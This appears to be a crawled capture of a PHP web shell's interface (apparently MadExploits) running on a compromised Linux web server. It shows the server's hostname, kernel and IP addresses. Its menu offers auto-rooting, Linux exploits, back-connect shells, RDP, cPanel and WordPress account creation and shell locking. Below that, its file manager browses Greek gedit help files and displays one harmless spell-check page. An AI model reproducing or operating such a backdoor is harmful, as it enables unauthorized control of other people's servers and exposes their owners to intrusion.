Linux server.flyproject.com.br 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Apache
: 207.244.227.86 | : 216.73.217.1
10 Domain
7.1.33
hubnog
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
help /
el /
gedit /
[ HOME SHELL ]
Name
Size
Permission
Action
figures
[ DIR ]
drwxr-xr-x
gedit-change-color-scheme.page
4.35
KB
-rw-r--r--
gedit-change-default-font.page
3.74
KB
-rw-r--r--
gedit-close-file.page
2.54
KB
-rw-r--r--
gedit-create-new-file.page
2.94
KB
-rw-r--r--
gedit-edit-as-root.page
3.33
KB
-rw-r--r--
gedit-files-basic.page
2.32
KB
-rw-r--r--
gedit-full-screen.page
4.78
KB
-rw-r--r--
gedit-open-files-from-sidepane...
3.66
KB
-rw-r--r--
gedit-open-files.page
4.04
KB
-rw-r--r--
gedit-open-on-server.page
4.93
KB
-rw-r--r--
gedit-open-recent.page
3.46
KB
-rw-r--r--
gedit-plugin-guide.page
3.51
KB
-rw-r--r--
gedit-plugins-change-case.page
4.35
KB
-rw-r--r--
gedit-plugins-doc-stats.page
3.81
KB
-rw-r--r--
gedit-plugins-external-tools.p...
4.01
KB
-rw-r--r--
gedit-plugins-file-browser.pag...
3
KB
-rw-r--r--
gedit-plugins-insert-date-time...
3.42
KB
-rw-r--r--
gedit-plugins-install.page
4.85
KB
-rw-r--r--
gedit-plugins-modelines.page
6.38
KB
-rw-r--r--
gedit-plugins-pyconsole.page
2.89
KB
-rw-r--r--
gedit-plugins-quick-open.page
5.14
KB
-rw-r--r--
gedit-plugins-snippets.page
11.1
KB
-rw-r--r--
gedit-plugins-sort.page
4.79
KB
-rw-r--r--
gedit-printing-order.page
4.21
KB
-rw-r--r--
gedit-printing-select.page
3.25
KB
-rw-r--r--
gedit-printing.page
7.15
KB
-rw-r--r--
gedit-quickstart.page
3.32
KB
-rw-r--r--
gedit-replace.page
8.97
KB
-rw-r--r--
gedit-save-file.page
2.65
KB
-rw-r--r--
gedit-search.page
6.6
KB
-rw-r--r--
gedit-shortcut-keys.page
16.04
KB
-rw-r--r--
gedit-spellcheck.page
8.43
KB
-rw-r--r--
gedit-syntax-highlighting.page
3.2
KB
-rw-r--r--
gedit-tab-groups.page
6.77
KB
-rw-r--r--
gedit-tabs-moving.page
6.54
KB
-rw-r--r--
gedit-tabs.page
4
KB
-rw-r--r--
gedit-undo-recent-action.page
2.77
KB
-rw-r--r--
index.page
3.51
KB
-rw-r--r--
legal.xml
362
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : gedit-spellcheck.page
<?xml version="1.0" encoding="utf-8"?> <page xmlns="http://projectmallard.org/1.0/" type="topic" style="task" id="gedit-spellcheck" xml:lang="el"> <info> <link type="guide" xref="gedit-plugin-guide#gedit-default-plugins"/> <desc>Έλεγχος των αρχείων σας για ορθογραφικά σφάλματα.</desc> <revision pkgversion="3.8" date="2013-02-24" status="review"/> <revision pkgversion="3.8" date="2013-03-21" status="review"/> <credit type="author"> <name>Jim Campbell</name> <email>jcampbell@gnome.org</email> </credit> <credit type="author"> <name>Baptiste Mille-Mathias</name> <email>baptistem@gnome.org</email> </credit> <credit type="author"> <name>Sindhu S</name> <email>sindhus@live.in</email> </credit> <include xmlns="http://www.w3.org/2001/XInclude" href="legal.xml"/> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>Μάριος Ζηντίλης</mal:name> <mal:email>m.zindilis@dmajor.org</mal:email> <mal:years>2009</mal:years> </mal:credit> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>Βασίλης Τσιβίκης</mal:name> <mal:email>vasitsiv@hotmail.gr</mal:email> <mal:years>2011</mal:years> </mal:credit> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>Θάνος Τρυφωνίδης</mal:name> <mal:email>tomtryf@gmail.com</mal:email> <mal:years>2012, 2014</mal:years> </mal:credit> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>Δημήτρης Σπίγγος</mal:name> <mal:email>dmtrs32@gmail.com</mal:email> <mal:years>2013, 2014, 2015</mal:years> </mal:credit> <mal:credit xmlns:mal="http://projectmallard.org/1.0/" type="translator copyright"> <mal:name>Μαρία Μαυρίδου</mal:name> <mal:email>mavridou@gmail.com</mal:email> <mal:years>2014</mal:years> </mal:credit> </info> <title>Έλεγχος ορθογραφίας εγγράφου</title> <section id="enable-spell-check"> <title>Ενεργοποίηση του ορθογραφικού ελέγχου</title> <p>Η λειτουργία ελέγχου ορθογραφίας παρέχεται ως πρόσθετο στο <app>gedit</app> που μπορεί να ενεργοποιηθεί όπως απαιτείται. Για ενεργοποίηση του προσθέτου:</p> <steps> <item> <p>Επιλέξτε <guiseq><gui style="menu">gedit</gui> <gui style="menuitem">Προτιμήσεις</gui> <gui style="tab">Πρόσθετα</gui></guiseq>.</p> </item> <item> <p>Επιλέξτε <gui style="menuitem">Έλεγχος ορθογραφίας</gui> για την ενεργοποίηση του προσθέτου.</p> </item> </steps> </section> <section id="spell-check"> <title>Έλεγχος ορθογραφίας εγγράφου</title> <p>Για έλεγχο ανορθόγραφων λέξεων στο έγγραφό σας:</p> <steps> <item> <p>Επιλέξτε <guiseq><gui style="menu">Εργαλεία</gui> <gui style="menuitem">Έλεγχος ορθογραφίας</gui></guiseq>.</p> </item> </steps> <note style="tip"> <p>Για να επισημαίνει αυτόματα το <app>gedit</app> ανορθόγραφες λέξεις στο έγγραφό σας καθώς πληκτρολογείτε, επιλέξτε <guiseq><gui style="menu">Εργαλεία</gui><gui style="menuitem">Επισήμανση ανορθόγραφων λέξεων</gui></guiseq>.</p> </note> </section> <section id="use-spell-check"> <title>Χρήση ελέγχου ορθογραφίας</title> <p>Μπορείτε να επιλέξετε τη σωστή αντικατάσταση για ανορθόγραφες λέξεις χρησιμοποιώντας τον διάλογο ελέγχου ορθογραφίας. Η ανορθόγραφη λέξη που ελέγχεται από τον έλεγχο ορθογραφίας εμφανίζεται με έντονα γράμματα δίπλα στο <gui>Ανορθόγραφη λέξη:</gui>. Μπορείτε να επιλέξετε από τις ακόλουθες διορθωτικές ενέργειες:</p> <list> <item> <p><gui style="input">Αλλαγή σε:</gui> επιτρέπει την εισαγωγή μιας λέξης και χρήση του <gui style="button">Ελέγχου λέξης</gui> για τον έλεγχο της εγκυρότητας της ορθογραφίας.</p> </item> <item> <p><gui style="menu">Προτάσεις:</gui> που δίνει τις διαθέσιμες αντικαταστάσεις για τη λέξη.</p> </item> <item> <p><gui style="button">Παράβλεψη</gui> που επιτρέπει την παράκαμψη του ελέγχου ορθογραφίας <em>ενός</em> στιγμιότυπου της τρέχουσας λέξης.</p> </item> <item> <p><gui style="button">Παράβλεψη όλων</gui> που επιτρέπει την παράκαμψη του ελέγχου ορθογραφίας για <em>όλα</em> τα στιγμιότυπα της τρέχουσας λέξης.</p> </item> <item> <p><gui style="button">Αλλαγή</gui> που αντικαθιστά την ανορθόγραφη ή μη αναγνωρισμένη λέξη με <em>μια</em> επιλεγμένη αντικατάσταση από τη λίστα <gui style="menuitem">Προτάσεις:</gui>.</p> </item> <item> <p><gui style="button">Αλλαγή όλων</gui> που αντικαθιστά <em>όλες</em> τις ανορθόγραφες ή μη αναγνωρισμένες λέξεις με την επιλεγμένη αντικατάσταση από τη λίστα <gui style="menuitem">Προτάσεις:</gui>.</p> </item> <item> <p><gui style="button">Προσθήκη λέξης</gui> που επιτρέπει στο <app>gedit</app> την προσθήκη της τρέχουσας λέξης στο <gui>λεξικό χρήστη</gui>. Η προσθήκη προσαρμοσμένων λέξεων στο <gui>λεξικό χρήστη</gui> θα επιτρέψει στο <app>gedit</app> να αναγνωρίσει τη λέξη σε έγγραφα και έτσι δεν θα επισημαίνεται ως ανορθόγραφη λέξη.</p> </item> </list> </section> <section id="define-spell-check-language"> <title>Ορίστε τη γλώσσα που θα χρησιμοποιηθεί για τον ορθογραφικό έλεγχο</title> <p>Από προεπιλογή, το <app>gedit</app> θα χρησιμοποιήσει την τρέχουσα γλώσσα για ορθογραφικό έλεγχο του εγγράφου σας. Εάν χρειάζεστε να χρησιμοποιήσετε μια άλλη γλώσσα, επιλέξτε <guiseq><gui style="menu">Εργαλεία</gui><gui style="menuitem">Ορισμός γλώσσας…</gui></guiseq>, έπειτα επιλέξτε την επιθυμητή γλώσσα.</p> </section> <section id="dict"> <title>Λεξικά</title> <p>Το <app>gedit</app> χρησιμοποιεί το <link href="http://www.abisource.com/projects/enchant/">Enchant</link>, ένα μικρό βοήθημα συστήματος, για ορθογραφικό έλεγχο. Το Enchant μπορεί να χρησιμοποιεί αρκετά διαφορετικά λεξικά για να ελέγξει την ορθογραφία. Δύο τέτοιες υποστηρίξεις λεξικών είναι οι <em>Hunspell</em> και <em>Aspell</em>.</p> <p>Αν η γλώσσα που θέλετε να χρησιμοποιήσετε δεν είναι διαθέσιμη στο <app>gedit</app>, χρησιμοποιήστε τον εγκαταστάτη λογισμικού του υπολογιστή σας ή τον διαχειριστή πακέτων για να εγκαταστήσετε την υποστήριξη λεξικού που θέλετε.</p> </section> </page>
Close